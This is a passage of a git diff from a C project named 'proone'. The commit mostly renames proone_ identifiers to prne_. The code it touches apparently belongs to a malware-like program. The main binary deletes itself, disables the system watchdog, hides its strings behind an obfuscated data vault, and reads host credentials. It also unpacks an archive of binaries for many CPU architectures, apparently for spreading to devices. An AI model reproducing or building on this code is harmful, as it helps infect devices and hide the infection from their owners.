= in->data; archive.nb_binaries = arr_cnt; - memcpy(archive.arch_arr, arch_arr, arr_cnt * sizeof(proone_arch_t)); + memcpy(archive.arch_arr, arch_arr, arr_cnt * sizeof(prne_arch_t)); memcpy(archive.offset_arr, offset_arr, arr_cnt * sizeof(size_t)); memcpy(archive.size_arr, size_arr, arr_cnt * sizeof(size_t)); @@ -214,22 +214,22 @@ proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_b *out = archive; END: - if (ret != PROONE_INDEX_BIN_ARCHIVE_OK) { - proone_free_bin_archive(&archive); + if (ret != PRNE_INDEX_BIN_ARCHIVE_OK) { + prne_free_bin_archive(&archive); } return ret; } -void proone_free_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r) { +void prne_free_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r) { free(r->data); r->data = NULL; r->data_size = 0; - r->result = PROONE_INDEX_BIN_ARCHIVE_OK; + r->result = PRNE_INDEX_BIN_ARCHIVE_OK; r->err = 0; } -void proone_free_bin_archive (proone_bin_archive_t *a) { +void prne_free_bin_archive (prne_bin_archive_t *a) { free(a->data); free(a->arch_arr); a->nb_binaries = 0; diff --git a/src/pack.h b/src/pack.h new file mode 100644 index 0000000..9f37cb5 --- /dev/null +++ b/src/pack.h @@ -0,0 +1,47 @@ +#pragma once +#include <stdint.h> +#include <stdbool.h> + +#include "protocol.h" + + +typedef struct prne_bin_archive prne_bin_archive_t; +typedef struct prne_unpack_bin_archive_result prne_unpack_bin_archive_result_t; + +struct prne_bin_archive { + size_t data_size; + uint8_t *data; + size_t nb_binaries; + prne_arch_t *arch_arr; + size_t *offset_arr; + size_t *size_arr; +}; + +typedef enum { + PRNE_UNPACK_BIN_ARCHIVE_OK, + PRNE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR, + PRNE_UNPACK_BIN_ARCHIVE_Z_ERR, + PRNE_UNPACK_BIN_ARCHIVE_ERRNO, + PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR +} prne_unpack_bin_archive_result_code_t; + +struct prne_unpack_bin_archive_result { + size_t data_size; + uint8_t *data; + prne_unpack_bin_archive_result_code_t result; + long err; +}; + +typedef enum { + PRNE_INDEX_BIN_ARCHIVE_OK, + PRNE_INDEX_BIN_ARCHIVE_FMT_ERR, + PRNE_INDEX_BIN_ARCHIVE_MEM_ERR +} prne_index_bin_archive_result_code_t; + + +void prne_init_bin_archive (prne_bin_archive_t *a); +void prne_init_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r); +prne_unpack_bin_archive_result_t prne_unpack_bin_archive (const int fd); +prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_archive_result_t *in, prne_bin_archive_t *out); +void prne_free_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r); +void prne_free_bin_archive (prne_bin_archive_t *a); diff --git a/src/proone-list-arch.c b/src/proone-list-arch.c index 792b9c2..e7521ae 100644 --- a/src/proone-list-arch.c +++ b/src/proone-list-arch.c @@ -1,13 +1,13 @@ #include <stdio.h> -#include "proone_protocol.h" +#include "protocol.h" int main (void) { - proone_arch_t i; + prne_arch_t i; - for (i = PROONE_ARCH_NONE + 1; i < NB_PROONE_ARCH; i += 1) { - printf("%s\n", proone_arch2str(i)); + for (i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { + printf("%s\n", prne_arch2str(i)); } return 0; diff --git a/src/proone-mask.c b/src/proone-mask.c index cd2bad7..9349a0f 100644 --- a/src/proone-mask.c +++ b/src/proone-mask.c @@ -6,7 +6,7 @@ #include <unistd.h> #include <fcntl.h> -#include "proone_dvault.h" +#include "dvault.h" static const char *RND_DEV_PATH = "/dev/random"; @@ -17,10 +17,10 @@ int main (const int argc, const char **args) { ssize_t fd_read_size; uint8_t salt; size_t read_size = 0; - proone_dvault_mask_result_t mask_result; - proone_data_type_t type; + prne_dvault_mask_result_t mask_result; + prne_data_type_t type; - proone_init_dvault_mask_result(&mask_result); + prne_init_dvault_mask_result(&mask_result); if (argc <= 1) { fprintf(stderr, @@ -54,9 +54,9 @@ int main (const int argc, const char **args) { close(rnd_fd); rnd_fd = -1; - type = proone_str2data_type(args[1]); + type = prne_str2data_type(args[1]); switch (type) { - case PROONE_DATA_TYPE_CSTR: { + case PRNE_DATA_TYPE_CSTR: { static const size_t buf_size = 0x0000FFFF + 1; uint8_t buf[buf_size]; @@ -83,12 +83,12 @@ int main (const int argc, const char **args) { goto END; } - mask_result = proone_dvault_mask(type, salt, read_size, buf); - if (mask_result.result == PROONE_DVAULT_MASK_OK) { + mask_result = prne_dvault_mask(type, salt, read_size, buf); + if (mask_result.result == PRNE_DVAULT_MASK_OK) { printf("(uint8_t*)\"%s\"\n", mask_result.str); } else { - fprintf(stderr, "Error: proone_dvault_mask() returned %d\n", (int)mask_result.result); + fprintf(stderr, "Error: prne_dvault_mask() returned %d\n", (int)mask_result.result); exit_code = 1; goto END; } @@ -102,7 +102,7 @@ int main (const int argc, const char **args) { END: close(rnd_fd); - proone_free_dvault_mask_result(&mask_result); + prne_free_dvault_mask_result(&mask_result); return exit_code; } diff --git a/src/proone-packer.c b/src/proone-pack.c index 28fd525..2098f4e 100644 --- a/src/proone-packer.c +++ b/src/proone-pack.c @@ -11,22 +11,22 @@ #include <sys/sendfile.h> #include <fcntl.h> -#include "proone_protocol.h" +#include "protocol.h" int main (const int argc, const char **args) { typedef struct { - proone_arch_t arch; + prne_arch_t arch; const char *path; } archive_tuple_t; size_t i; - const archive_tuple_t *encounter_arr[NB_PROONE_ARCH]; - archive_tuple_t archive_arr[NB_PROONE_ARCH]; + const archive_tuple_t *encounter_arr[NB_PRNE_ARCH]; + archive_tuple_t archive_arr[NB_PRNE_ARCH]; archive_tuple_t *archive; size_t archive_arr_cnt = 0; const char *path, *ext; bool proc_result = true; - proone_arch_t arch; + prne_arch_t arch; int bin_fd = -1; struct stat st; uint8_t head[4]; @@ -41,14 +41,14 @@ int main (const int argc, const char **args) { return 1; } // too many files - if (argc - 1 > NB_PROONE_ARCH) { - fprintf(stderr, "** Too many files given (%d > %d).\n", argc - 1, NB_PROONE_ARCH); + if (argc - 1 > NB_PRNE_ARCH) { + fprintf(stderr, "** Too many files given (%d > %d).\n", argc - 1, NB_PRNE_ARCH); return 1; } // init - memset(encounter_arr, 0, sizeof(archive_tuple_t*) * NB_PROONE_ARCH); - memset(archive_arr, 0, sizeof(archive_tuple_t) * NB_PROONE_ARCH); + memset(encounter_arr, 0, sizeof(archive_tuple_t*) * NB_PRNE_ARCH); + memset(archive_arr, 0, sizeof(archive_tuple_t) * NB_PRNE_ARCH); // Check the file names are valid for (i = 1; i < (size_t)argc; i += 1) { @@ -62,8 +62,8 @@ int main (const int argc, const char **args) { } ext += 1; - arch = proone_str2arch(ext); - if (arch == PROONE_ARCH_NONE) { + arch = prne_str2arch(ext); + if (arch == PRNE_ARCH_NONE) { fprintf(stderr, "** %s: unknown arch \"%s\"\n", path, ext); proc_result = false; continue; @@ -85,7 +85,7 @@ int main (const int argc, const char **args) { } // do packing - fprintf(stderr, archive_arr_cnt == NB_PROONE_ARCH ? "Packing %zu binaries.\n" : "* Warning: packing only %zu binaries\n", archive_arr_cnt); + fprintf(stderr, archive_arr_cnt == NB_PRNE_ARCH ? "Packing %zu binaries.\n" : "* Warning: packing only %zu binaries\n", archive_arr_cnt); for (i = 0; i < archive_arr_cnt; i += 1) { archive = &archive_arr[i]; fprintf(stderr, "Packing: %s ...\n", archive->path); diff --git a/src/proone-print-all-data.c b/src/proone-print-all-data.c index adf5ee9..cdb19ba 100644 --- a/src/proone-print-all-data.c +++ b/src/proone-print-all-data.c @@ -1,28 +1,28 @@ #include <stdio.h> #include <stdlib.h> -#include "proone_dvault.h" +#include "dvault.h" int main (void) { - proone_data_key_t i = PROONE_DATA_KEY_NONE + 1; - proone_data_type_t type; + prne_data_key_t i = PRNE_DATA_KEY_NONE + 1; + prne_data_type_t type; - proone_init_dvault(); + prne_init_dvault(); - for (i = PROONE_DATA_KEY_NONE + 1; i < NB_PROONE_DATA_KEY; i += 1) { - type = (proone_data_type_t)PROONE_DATA_DICT[i][0]; + for (i = PRNE_DATA_KEY_NONE + 1; i < NB_PRNE_DATA_KEY; i += 1) { + type = (prne_data_type_t)PRNE_DATA_DICT[i][0]; switch (type) { - case PROONE_DATA_TYPE_CSTR: - printf("%10lld: %s\n", (long long)i, proone_dvault_unmask_entry_cstr(i, NULL)); + case PRNE_DATA_TYPE_CSTR: + printf("%10lld: %s\n", (long long)i, prne_dvault_unmask_entry_cstr(i, NULL)); break; default: - fprintf(stderr, "Error: unhandled data type (%d)'%s'\n", (int)type, proone_data_type2str(type)); + fprintf(stderr, "Error: unhandled data type (%d)'%s'\n", (int)type, prne_data_type2str(type)); abort(); } } - proone_deinit_dvault(); + prne_deinit_dvault(); return 0; } diff --git a/src/proone-unpacker.c b/src/proone-unpack.c index 52fd48a..1f0e67f 100644 --- a/src/proone-unpacker.c +++ b/src/proone-unpack.c @@ -9,29 +9,29 @@ #include <openssl/err.h> #include <zlib.h> -#include "proone_pack.h" +#include "pack.h" -static void report_unpack_bin_archive_err (const proone_unpack_bin_archive_result_t *r) { +static void report_unpack_bin_archive_err (const prne_unpack_bin_archive_result_t *r) { const char *err_str, *err_msg = NULL; switch (r->result) { - case PROONE_UNPACK_BIN_ARCHIVE_OK: + case PRNE_UNPACK_BIN_ARCHIVE_OK: err_str = "ok"; break; - case PROONE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR: + case PRNE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR: err_str = "openssl error"; err_msg = ERR_error_string(r->err, NULL); break; - case PROONE_UNPACK_BIN_ARCHIVE_Z_ERR: + case PRNE_UNPACK_BIN_ARCHIVE_Z_ERR: err_str = "zlib error"; err_msg = zError((int)r->err); break; - case PROONE_UNPACK_BIN_ARCHIVE_ERRNO: + case PRNE_UNPACK_BIN_ARCHIVE_ERRNO: err_str = "errno"; err_msg = strerror((int)r->err); break; - case PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR: + case PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR: err_str = "memory error"; err_msg = strerror((int)r->err); break; @@ -47,15 +47,15 @@ static void report_unpack_bin_archive_err (const proone_unpack_bin_archive_resul } } -static void report_index_bin_archive_err (const proone_index_bin_archive_result_code_t c) { +static void report_index_bin_archive_err (const prne_index_bin_archive_result_code_t c) { const char *msg; switch (c) { - case PROONE_INDEX_BIN_ARCHIVE_OK: + case PRNE_INDEX_BIN_ARCHIVE_OK: msg = "ok"; break; - case PROONE_INDEX_BIN_ARCHIVE_FMT_ERR: + case PRNE_INDEX_BIN_ARCHIVE_FMT_ERR: msg = "format error"; break; - case PROONE_INDEX_BIN_ARCHIVE_MEM_ERR: + case PRNE_INDEX_BIN_ARCHIVE_MEM_ERR: msg = "memory error"; break; default: msg = "* unknown"; break; @@ -68,9 +68,9 @@ int main (const int argc, const char **args) { int exit_code = 0; const char *path_prefix; size_t path_prefix_len; - proone_unpack_bin_archive_result_t unpack_ret; - proone_bin_archive_t bin_archive; - proone_index_bin_archive_result_code_t index_ret; + prne_unpack_bin_archive_result_t unpack_ret; + prne_bin_archive_t bin_archive; + prne_index_bin_archive_result_code_t index_ret; size_t i; const char *arch_str; char *path = NULL; @@ -85,25 +85,25 @@ int main (const int argc, const char **args) { path_prefix = args[1]; path_prefix_len = strlen(path_prefix); - proone_init_bin_archive(&bin_archive); + prne_init_bin_archive(&bin_archive); do { // fake loop - unpack_ret = proone_unpack_bin_archive(STDIN_FILENO); - if (unpack_ret.result != PROONE_UNPACK_BIN_ARCHIVE_OK) { + unpack_ret = prne_unpack_bin_archive(STDIN_FILENO); + if (unpack_ret.result != PRNE_UNPACK_BIN_ARCHIVE_OK) { report_unpack_bin_archive_err(&unpack_ret); exit_code = 2; break; } - index_ret = proone_index_bin_archive(&unpack_ret, &bin_archive); - if (index_ret != PROONE_INDEX_BIN_ARCHIVE_OK) { + index_ret = prne_index_bin_archive(&unpack_ret, &bin_archive); + if (index_ret != PRNE_INDEX_BIN_ARCHIVE_OK) { report_index_bin_archive_err(index_ret); exit_code = 2; break; } for (i = 0; i < bin_archive.nb_binaries; i += 1) { - arch_str = proone_arch2str(bin_archive.arch_arr[i]); + arch_str = prne_arch2str(bin_archive.arch_arr[i]); if (arch_str == NULL) { fprintf(stderr, "** unrecognised arch!"); exit_code = 2; @@ -137,8 +137,8 @@ int main (const int argc, const char **args) { free(path); close(fd); - proone_free_unpack_bin_archive_result(&unpack_ret); - proone_free_bin_archive(&bin_archive); + prne_free_unpack_bin_archive_result(&unpack_ret); + prne_free_bin_archive(&bin_archive); return exit_code; } diff --git a/src/proone.c b/src/proone.c index 7ddaa8b..33cea92 100644 --- a/src/proone.c +++ b/src/proone.c @@ -16,17 +16,17 @@ #include <sys/file.h> #include "proone.h" -#include "proone_util.h" -#include "proone_dvault.h" -#include "proone_heartbeat-worker.h" +#include "util.h" +#include "dvault.h" +#include "heartbeat-worker.h" -struct proone_global pne_global; +struct prne_global pne_g; typedef struct { - proone_worker_t worker; - proone_worker_sched_req_t sched_req; + prne_worker_t worker; + prne_worker_sched_req_t sched_req; } worker_tuple_t; typedef struct { @@ -45,10 +45,10 @@ static bool ensure_single_instance (void) { int fd; fd = shm_open( - proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM, NULL), + prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL), O_RDWR | O_CREAT | O_TRUNC, 0666); - proone_dvault_reset_dict(); + prne_dvault_reset_dict(); if (fd < 0) { return true; } @@ -57,7 +57,7 @@ static bool ensure_single_instance (void) { return errno != EWOULDBLOCK; } else { - pne_global.has_proc_lim_lock = true; + pne_g.has_proc_lim_lock = true; } return true; @@ -66,7 +66,7 @@ static bool ensure_single_instance (void) { static void init_rnd_engine (void) { uint32_t seed = 0; int fd; - proone_rnd_engnie_alloc_result_t ret; + prne_rnd_engnie_alloc_result_t ret; fd = open("/dev/urandom", O_RDONLY); if (fd >= 0) { @@ -83,12 +83,12 @@ static void init_rnd_engine (void) { (uint32_t)(clock() % 0xFFFFFFFF); } - ret = proone_alloc_rnd_engine(seed == 0 ? NULL : &seed); - if (ret.result != PROONE_RND_ENGINE_ALLOC_OK) { + ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed); + if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) { abort(); } - pne_global.rnd = ret.engine; + pne_g.rnd = ret.engine; } static void delete_myself (const char *arg0) { @@ -130,14 +130,14 @@ static void disasble_watchdog (void) { } static void handle_interrupt (const int sig) { - if (pne_global.caught_signal == 0) { - pne_global.caught_signal = sig; + if (pne_g.caught_signal == 0) { + pne_g.caught_signal = sig; } signal(sig, SIG_DFL); } static void proc_fin_call (void) { - if (pne_global.caught_signal != 0) { + if (pne_g.caught_signal != 0) { size_t i; worker_tuple_t *wt; @@ -146,7 +146,7 @@ static void proc_fin_call (void) { wt->worker.fin(wt->worker.ctx); } - proc_fin_call_ptr = proone_empty_func; + proc_fin_call_ptr = prne_empty_func; finalising = true; } } @@ -156,15 +156,15 @@ static void print_ready_signature (void) { uint8_t *sig_data; char *plain_str, *sig_str; - plain_str = proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_SIGN_INIT_OK, &len); + plain_str = prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_SIGN_INIT_OK, &len); sig_data = (uint8_t*)malloc(len + 1); - sig_data[0] = (uint8_t)(proone_rnd_gen_int(pne_global.rnd) % 256); + sig_data[0] = (uint8_t)(prne_rnd_gen_int(pne_g.rnd) % 256); memcpy(sig_data + 1, plain_str, len); - proone_dvault_reset_dict(); - proone_dvault_invert_mem(len, sig_data + 1, sig_data[0]); + prne_dvault_reset_dict(); + prne_dvault_invert_mem(len, sig_data + 1, sig_data[0]); - sig_str = proone_enc_base64_mem(sig_data, len); + sig_str = prne_enc_base64_mem(sig_data, len); if (sig_str == NULL) { abort(); } @@ -192,7 +192,7 @@ static void read_host_credential (void) { } } if (found) { - proone_dec_base64_mem(buf, i, &pne_global.host_cred_data, &pne_global.host_cred_size); + prne_dec_base64_mem(buf, i, &pne_g.host_cred_data, &pne_g.host_cred_size); } END: @@ -204,19 +204,19 @@ int main (const int argc, char **args) { int exit_code = 0; size_t i; worker_tuple_t *wt; - proone_worker_sched_info_t sched_info; + prne_worker_sched_info_t sched_info; - pne_global.host_cred_data = NULL; - pne_global.host_cred_size = 0; - pne_global.has_proc_lim_lock = false; - pne_global.bin_ready = false; - pne_global.caught_signal = 0; - pne_global.rnd = NULL; - proone_init_unpack_bin_archive_result(&pne_global.bin_pack); - proone_init_bin_archive(&pne_global.bin_archive); + pne_g.host_cred_data = NULL; + pne_g.host_cred_size = 0; + pne_g.has_proc_lim_lock = false; + pne_g.bin_ready = false; + pne_g.caught_signal = 0; + pne_g.rnd = NULL; + prne_init_unpack_bin_archive_result(&pne_g.bin_pack); + prne_init_bin_archive(&pne_g.bin_archive); /* quick prep. IN THIS ORDER! */ - proone_init_dvault(); + prne_init_dvault(); #ifndef DEBUG delete_myself(args[0]); disasble_watchdog(); @@ -226,9 +226,9 @@ int main (const int argc, char **args) { print_ready_signature(); read_host_credential(); // get fed with the bin archive - pne_global.bin_pack = proone_unpack_bin_archive(STDIN_FILENO); - if (pne_global.bin_pack.result == PROONE_UNPACK_BIN_ARCHIVE_OK) { - pne_global.bin_ready = proone_index_bin_archive(&pne_global.bin_pack, &pne_global.bin_archive) == PROONE_INDEX_BIN_ARCHIVE_OK; + pne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO); + if (pne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) { + pne_g.bin_ready = prne_index_bin_archive(&pne_g.bin_pack, &pne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK; } // done with the terminal @@ -251,34 +251,34 @@ int main (const int argc, char **args) { } // init workers - if (proone_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) { + if (prne_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) { worker_pool_size += 1; } // TODO for (i = 0; i < worker_pool_size; i += 1) { - proone_init_worker_sched_req(&worker_pool[i].sched_req, NULL); + prne_init_worker_sched_req(&worker_pool[i].sched_req, NULL); } - if (worker_pool_size == 0 || pne_global.caught_signal != 0) { + if (worker_pool_size == 0 || pne_g.caught_signal != 0) { goto END; } proc_fin_call_ptr = proc_fin_call; - proone_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.last_tick)); + prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.last_tick)); pollfd_pool.arr = NULL; pollfd_pool.size = 0; while (true) { - proone_worker_sched_flag_t all_sched_flag = PROONE_WORKER_SCHED_FLAG_NONE; + prne_worker_sched_flag_t all_sched_flag = PRNE_WORKER_SCHED_FLAG_NONE; struct timespec timeout; size_t total_pollfd_size = 0; bool worked = false; - proone_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.this_tick)); - sched_info.tick_diff = proone_sub_timespec(&sched_info.this_tick, &sched_info.last_tick); - sched_info.real_tick_diff = proone_real_timespec(&sched_info.tick_diff); + prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.this_tick)); + sched_info.tick_diff = prne_sub_timespec(&sched_info.this_tick, &sched_info.last_tick); + sched_info.real_tick_diff = prne_real_timespec(&sched_info.tick_diff); proc_fin_call_ptr(); @@ -292,9 +292,9 @@ int main (const int argc, char **args) { wt->worker.work(wt->worker.ctx, &sched_info, &wt->sched_req); worked |= true; - if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_TIMEOUT) { - if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT) { - if (proone_cmp_timespec(&timeout, &wt->sched_req.timeout) > 0) { + if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { + if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { + if (prne_cmp_timespec(&timeout, &wt->sched_req.timeout) > 0) { timeout = wt->sched_req.timeout; } } @@ -302,7 +302,7 @@ int main (const int argc, char **args) { timeout = wt->sched_req.timeout; } } - if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) { + if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { total_pollfd_size += wt->sched_req.pollfd_arr_size; } @@ -317,7 +317,7 @@ int main (const int argc, char **args) { } break; } - else if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_POLL) { + else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_POLL) { void *ny_mem; size_t pollfd_ptr; @@ -337,14 +337,14 @@ int main (const int argc, char **args) { continue; } - if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) { + if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { wt->sched_req.pollfd_ready = false; memcpy(pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr, wt->sched_req.pollfd_arr_size * sizeof(struct pollfd)); pollfd_ptr += wt->sched_req.pollfd_arr_size; } } - if (ppoll(pollfd_pool.arr, pollfd_pool.size, all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT ? &timeout : NULL, NULL) < 0) { + if (ppoll(pollfd_pool.arr, pollfd_pool.size, all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT ? &timeout : NULL, NULL) < 0) { switch (errno) { case EINTR: case ENOMEM: @@ -362,7 +362,7 @@ int main (const int argc, char **args) { continue; } - if (wt->sched_req.flags & PROONE_WORKER_SCHED_FLAG_POLL) { + if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { wt->sched_req.pollfd_ready = true; memcpy(wt->sched_req.pollfd_arr, pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr_size); pollfd_ptr += wt->sched_req.pollfd_arr_size; @@ -371,7 +371,7 @@ int main (const int argc, char **args) { } } } - else if (all_sched_flag & PROONE_WORKER_SCHED_FLAG_TIMEOUT) { + else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { if (nanosleep(&timeout, NULL) < 0 && errno != EINTR) { abort(); } @@ -389,24 +389,24 @@ END: wt->sched_req.mem_func.free(&wt->sched_req); } - free(pne_global.host_cred_data); - pne_global.host_cred_data = NULL; - pne_global.host_cred_size = 0; + free(pne_g.host_cred_data); + pne_g.host_cred_data = NULL; + pne_g.host_cred_size = 0; - if (pne_global.has_proc_lim_lock) { - shm_unlink(proone_dvault_unmask_entry_cstr(PROONE_DATA_KEY_PROC_LIM_SHM, NULL)); - proone_dvault_reset_dict(); - pne_global.has_proc_lim_lock = false; + if (pne_g.has_proc_lim_lock) { + shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL)); + prne_dvault_reset_dict(); + pne_g.has_proc_lim_lock = false; } - proone_free_bin_archive(&pne_global.bin_archive); - proone_free_unpack_bin_archive_result(&pne_global.bin_pack); - pne_global.bin_ready = false; + prne_free_bin_archive(&pne_g.bin_archive); + prne_free_unpack_bin_archive_result(&pne_g.bin_pack); + pne_g.bin_ready = false; - proone_free_rnd_engine(pne_global.rnd); - pne_global.rnd = NULL; + prne_free_rnd_engine(pne_g.rnd); + pne_g.rnd = NULL; - proone_deinit_dvault(); + prne_deinit_dvault(); return exit_code; } diff --git a/src/proone.h b/src/proone.h index 49e9d9c..5911acf 100644 --- a/src/proone.h +++ b/src/proone.h @@ -1,20 +1,20 @@ -#include "proone_pack.h" -#include "proone_rnd.h" +#include "pack.h" +#include "rnd.h" #include <stdint.h> #include <stdbool.h> -struct proone_global { +struct prne_global { uint8_t *host_cred_data; size_t host_cred_size; bool has_proc_lim_lock; bool bin_ready; int caught_signal; - proone_rnd_engine_t *rnd; - proone_unpack_bin_archive_result_t bin_pack; - proone_bin_archive_t bin_archive; + prne_rnd_engine_t *rnd; + prne_unpack_bin_archive_result_t bin_pack; + prne_bin_archive_t bin_archive; }; -extern struct proone_global pne_global; +extern struct prne_global pne_g; diff --git a/src/proone_data.h b/src/proone_data.h deleted file mode 100644 index 1248565..0000000 --- a/src/proone_data.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once -#include <stdint.h> - - -typedef enum { - PROONE_DATA_KEY_NONE = -1, - PROONE_DATA_KEY_PROC_LIM_SHM, - PROONE_DATA_KEY_SIGN_INIT_OK, - NB_PROONE_DATA_KEY -} proone_data_key_t; - - -extern uint8_t *PROONE_DATA_DICT[NB_PROONE_DATA_KEY]; diff --git a/src/proone_dvault.h b/src/proone_dvault.h deleted file mode 100644 index 8dedee6..0000000 --- a/src/proone_dvault.h +++ /dev/null @@ -1,47 +0,0 @@ -#pragma once -#include <stddef.h> -#include <stdbool.h> -#include <stdint.h> - -#include "proone_data.h" - - -typedef struct proone_dvault_mask_result proone_dvault_mask_result_t; - -typedef enum { - PROONE_DATA_TYPE_NONE = -1, - PROONE_DATA_TYPE_CSTR, - NB_PROONE_DATA_TYPE -} proone_data_type_t; - -typedef enum { - PROONE_DVAULT_MASK_OK, - PROONE_DVAULT_MASK_MEM_ERR, - PROONE_DVAULT_MASK_TOO_LARGE, - PROONE_DVAULT_MASK_INVALID_TYPE -} proone_dvault_mask_result_code_t; - -struct proone_dvault_mask_result { - size_t str_len; - char *str; - proone_dvault_mask_result_code_t result; -}; - - -extern const uint8_t PROONE_DVAULT_MASK[256]; - -const char *proone_data_type2str (const proone_data_type_t t); -proone_data_type_t proone_str2data_type (const char *str); -void proone_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt); - -void proone_init_dvault_mask_result (proone_dvault_mask_result_t *r); -void proone_free_dvault_mask_result (proone_dvault_mask_result_t *r); -proone_dvault_mask_result_t proone_dvault_mask (const proone_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data); - -void proone_init_dvault (void); -void proone_deinit_dvault (void); -proone_data_type_t proone_dvault_get_entry_data_type (const proone_data_key_t key); -size_t proone_dvault_get_entry_size (const proone_data_key_t key); -uint8_t proone_dvault_get_entry_salt (const proone_data_key_t key); -char *proone_dvault_unmask_entry_cstr (const proone_data_key_t key, size_t *len); -void proone_dvault_reset_dict (void); diff --git a/src/proone_heartbeat-worker.h b/src/proone_heartbeat-worker.h deleted file mode 100644 index aa4c66c..0000000 --- a/src/proone_heartbeat-worker.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once -#include "proone_worker.h" - -#include <stddef.h> -#include <stdbool.h> -#include <stdint.h> - - -bool proone_alloc_heartbeat_worker (proone_worker_t *w); diff --git a/src/proone_pack.h b/src/proone_pack.h deleted file mode 100644 index eaa63a1..0000000 --- a/src/proone_pack.h +++ /dev/null @@ -1,47 +0,0 @@ -#pragma once -#include <stdint.h> -#include <stdbool.h> - -#include "proone_protocol.h" - - -typedef struct proone_bin_archive proone_bin_archive_t; -typedef struct proone_unpack_bin_archive_result proone_unpack_bin_archive_result_t; - -struct proone_bin_archive { - size_t data_size; - uint8_t *data; - size_t nb_binaries; - proone_arch_t *arch_arr; - size_t *offset_arr; - size_t *size_arr; -}; - -typedef enum { - PROONE_UNPACK_BIN_ARCHIVE_OK, - PROONE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR, - PROONE_UNPACK_BIN_ARCHIVE_Z_ERR, - PROONE_UNPACK_BIN_ARCHIVE_ERRNO, - PROONE_UNPACK_BIN_ARCHIVE_MEM_ERR -} proone_unpack_bin_archive_result_code_t; - -struct proone_unpack_bin_archive_result { - size_t data_size; - uint8_t *data; - proone_unpack_bin_archive_result_code_t result; - long err; -}; - -typedef enum { - PROONE_INDEX_BIN_ARCHIVE_OK, - PROONE_INDEX_BIN_ARCHIVE_FMT_ERR, - PROONE_INDEX_BIN_ARCHIVE_MEM_ERR -} proone_index_bin_archive_result_code_t; - - -void proone_init_bin_archive (proone_bin_archive_t *a); -void proone_init_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r); -proone_unpack_bin_archive_result_t proone_unpack_bin_archive (const int fd); -proone_index_bin_archive_result_code_t proone_index_bin_archive (proone_unpack_bin_archive_result_t *in, proone_bin_archive_t *out); -void proone_free_unpack_bin_archive_result (proone_unpack_bin_archive_result_t *r); -void proone_free_bin_archive (proone_bin_archive_t *a); diff --git a/src/proone_protocol.h b/src/proone_protocol.h deleted file mode 100644 index c8b7f13..0000000 --- a/src/proone_protocol.h +++ /dev/null @@ -1,25 +0,0 @@ -#pragma once -#include <stddef.h> - - -typedef enum { - PROONE_ARCH_NONE = -1, - - PROONE_ARCH_ARMV4T, - PROONE_ARCH_ARMV7, - PROONE_ARCH_I586, - PROONE_ARCH_M68K, - PROONE_ARCH_MIPS, - PROONE_ARCH_MPSL, - PROONE_ARCH_PPC, - PROONE_ARCH_RV32, - PROONE_ARCH_RV64, - PROONE_ARCH_SH4, - PROONE_ARCH_SPC, - - NB_PROONE_ARCH -} proone_arch_t; - - -const char *proone_arch2str (const proone_arch_t x); -proone_arch_t proone_str2arch (const char *str); diff --git a/src/proone_rnd.h b/src/proone_rnd.h deleted file mode 100644 index cf46c4d..0000000 --- a/src/proone_rnd.h +++ /dev/null @@ -1,27 +0,0 @@ -#pragma once -#include <stddef.h> -#include <stdint.h> -#include <stdbool.h> - - -struct proone_rnd_engine; -typedef struct proone_rnd_engine proone_rnd_engine_t; -typedef struct proone_rnd_engnie_alloc_result proone_rnd_engnie_alloc_result_t; - -typedef enum { - PROONE_RND_ENGINE_ALLOC_OK, - PROONE_RND_ENGINE_ALLOC_INVALID_SEED, - PROONE_RND_ENGINE_ALLOC_MEM_ERR -} 